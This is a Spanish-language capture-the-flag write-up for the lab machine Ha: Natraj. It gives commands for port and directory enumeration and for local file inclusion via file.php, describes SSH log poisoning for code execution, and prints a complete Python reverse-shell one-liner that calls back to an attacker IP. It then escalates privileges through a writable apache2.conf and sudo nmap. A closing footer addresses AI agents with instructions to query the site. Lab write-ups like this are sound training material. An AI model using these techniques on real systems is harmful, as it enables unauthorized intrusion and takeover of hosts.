# Ha-Natraj

<figure><img src="/files/xGJKiOMliNk66xuHL17n" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80
```

<figure><img src="/files/DYVQzT1LLd6JfkfzvHHO" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos.

```
nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted
```

<figure><img src="/files/dZsm6dTlwOlwp5OzzKX0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/czuO3iyCCNNi7RAIay1z" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.&#x20;

<figure><img src="/files/BCNq1RYsQQNeeHvNV7j2" alt=""><figcaption></figcaption></figure>

Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch.&#x20;

```
dirsearch -u "http://192.168.87.80" -i200,301 -r
```

<figure><img src="/files/LbVjDAmnrgRGhb9c3l1O" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MIjvw2di4xj9BByxiCiw" alt=""><figcaption></figcaption></figure>

Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php.

Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.&#x20;

<figure><img src="/files/lGCjpafumu2mkM7nSWo0" alt=""><figcaption></figcaption></figure>

Vamos a utilizar el nombre de archivo en una variable "GET"  para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI).

```
curl http://192.168.87.80/console/file.php?file=/etc/passwd  
```

<figure><img src="/files/1sDziuTKkV9QczRsAHd7" alt=""><figcaption></figcaption></figure>

Encontramos los nombres de usuario natraj y mahakal.

Es vulnerable a LFI.&#x20;

### Explotación

Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log

&#x20;

<figure><img src="/files/qs2vyPpjptWj2dstN0nf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ul6XOqwDN3Mu9eYsYXb1" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor.&#x20;

Para realizar este ataque comenzamos enviando código malicioso PHP  a través del uso de SSH para que este sea registrado en el archivo auth.log.

<figure><img src="/files/AIxz8NNRTjLyMo4OVmL4" alt=""><figcaption></figcaption></figure>

Comprobamos si la inyección maliciosa ha sido exitosa.

<figure><img src="/files/m5wSNa8JLIHKDBb4NQsB" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en la máquina objetivo (RCE).&#x20;

Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80.&#x20;

La shell utilizada es la siguiente:&#x20;

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

<figure><img src="/files/UBXbcqlQEQhDZV5a1V5i" alt=""><figcaption></figcaption></figure>

Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.&#x20;

&#x20;

<figure><img src="/files/mbzQrtwCePsCuJjipwgz" alt=""><figcaption></figcaption></figure>

Hacemos la terminal genera más interactiva de la siguiente manera:

```
python3 -c 'import pty;pty.spawn("/bin/bash");'
```

<figure><img src="/files/HMUg735jiyC542aexDTP" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID.

```
sudo -l
```

<figure><img src="/files/gKc8y2KyliOBOhXmoN3T" alt=""><figcaption><p>sudo -l</p></figcaption></figure>

Podemos ejecutar comandos relacionados con el servidor Apache.

Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios.

```
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/sfd8e5JImWngGZLnZzvC" alt=""><figcaption></figcaption></figure>

No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.

<figure><img src="/files/QoTcod0r718Z6CQHtkrX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8PIugZST6CI9ynKSpUnn" alt=""><figcaption></figcaption></figure>

Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura  para cualquier usuario y grupo.

### Escalada de privilegios

Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque.

Creamos un servidor HTTP con Python en la máquina víctima.

<figure><img src="/files/JGWCsTfLYFc8HVqSEfAz" alt=""><figcaption></figcaption></figure>

Y en la máquina de ataque ejecutamos.&#x20;

<figure><img src="/files/4TKp6aplgMyWYholFRlg" alt=""><figcaption></figcaption></figure>

Ahora realizamos en este archivo las modificaciones comentadas anteriormente.&#x20;

<figure><img src="/files/TfrBeVuqNU9G5Kq2Zzi3" alt=""><figcaption></figcaption></figure>

Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.

<figure><img src="/files/mT1OGqX9L8YHN2nbWXvZ" alt=""><figcaption><p>Servidor en la máquina de ataque</p></figcaption></figure>

<figure><img src="/files/qnyfIT2Ois2v99eCgrMU" alt=""><figcaption><p>Enviando el archivo apache2.conf modificado al objetivo</p></figcaption></figure>

<figure><img src="/files/F7MZ99iVUvNG3EK00eaW" alt=""><figcaption></figcaption></figure>

Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.&#x20;

<figure><img src="/files/qYJpIELMYSWoAQh5iaLl" alt=""><figcaption></figcaption></figure>

Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.&#x20;

<figure><img src="/files/3oekcKZXy3y0Mbwk15Oe" alt=""><figcaption></figcaption></figure>

Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.

<figure><img src="/files/DqO19RaqqL7Eo8ARsvu9" alt=""><figcaption></figcaption></figure>

El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos ["GTFOBins"](https://gtfobins.github.io/gtfobins/nmap/#sudo)

<figure><img src="/files/nc145dbp5rk7mKSqfhqF" alt=""><figcaption></figcaption></figure>

Solo queda buscar ambas flags para completar el CTF Ha: Natraj.

<figure><img src="/files/XQePtUXkApoUEOj90oSJ" alt=""><figcaption><p>Flag proof.txt (root)</p></figcaption></figure>

<figure><img src="/files/t3SHv4B5TsX0MKNugPn3" alt=""><figcaption><p>Flag local.txt (usuario bajos privilegios)</p></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=yCFnBaOcphA>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/ha-natraj.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
